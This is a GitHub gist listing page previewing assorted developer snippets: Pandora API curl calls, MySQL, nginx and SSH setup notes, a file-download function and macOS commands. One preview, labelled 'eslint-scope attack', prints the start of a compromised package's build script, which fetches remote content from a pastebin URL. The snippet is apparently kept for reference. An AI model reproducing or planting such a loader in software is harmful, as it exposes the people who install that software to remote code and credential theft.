Skip to content

Instantly share code, notes, and snippets.

View dotspencer's full-sized avatar

Spencer Smith dotspencer

View GitHub Profile
@mrcnc
mrcnc / notes.md
Last active January 31, 2021 07:21
Get data from Pandora API
# https://6xq.net/pandora-apidoc/rest/

# get a csrftoken (or just make one up b/c it only matters that the cookie matches the header)
curl -I https://www.pandora.com/

# use csrftoken + credentials to get authToken
curl -X POST https://www.pandora.com/api/v1/auth/login \
-H 'Content-Type: application/json;charset=utf-8' \
-H 'X-CsrfToken: lol' \
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@dotspencer
dotspencer / utc-timezone-mysql.md
Created December 1, 2017 09:06
Setting UTC timezone with homebrew installed mysql

Edit /usr/local/etc/my.cnf

Add the following below [mysqld]

default-time-zone='+00:00'

Restart mysql with brew services restart mysql

@jimmywarting
jimmywarting / readme.md
Last active April 30, 2024 21:38
Cors proxies
Exposed headers
Service SSL status Response Type Allowed methods Allowed headers
@CyberPunkCodes
CyberPunkCodes / killadobe.sh
Last active November 21, 2022 16:41
Mac Bash script to kill Adobe Create Cloud and other processes that Adobe forces on us.
#!/bin/bash
echo "\n\n--- Killing Stupid Adobe Auto Load Crap ---\n\n"
launchctl unload -w /Library/LaunchAgents/com.adobe.AdobeCreativeCloud.plist
launchctl unload -w /Library/LaunchAgents/com.adobe.AAM.Updater-1.0.plist
echo "\n\n--- Done! ---\n\n"
@dotspencer
dotspencer / simple.txt
Created March 5, 2017 05:52
https nginx config simple
server {
listen 80;
server_name example.com;
location / {
proxy_pass http://localhost:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
@dotspencer
dotspencer / simple.md
Last active February 1, 2024 02:34
Generate new SSH key gen (ssh-keygen and ssh-copy-id)
@dotspencer
dotspencer / download.js
Last active October 20, 2020 19:44
Simplest way to generate and download a file using Javascript
function download(filename, text){
// MIME types: https://www.freeformatter.com/mime-types-list.html#mime-types-list
var blob = new Blob([text], {type: "text/plain"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = filename;
a.click();
}
@dotspencer
dotspencer / terminal.txt
Created May 17, 2016 22:26
Change screenshot save location terminal
defaults write com.apple.screencapture location ~/Desktop/Screenshots/;killall SystemUIServer;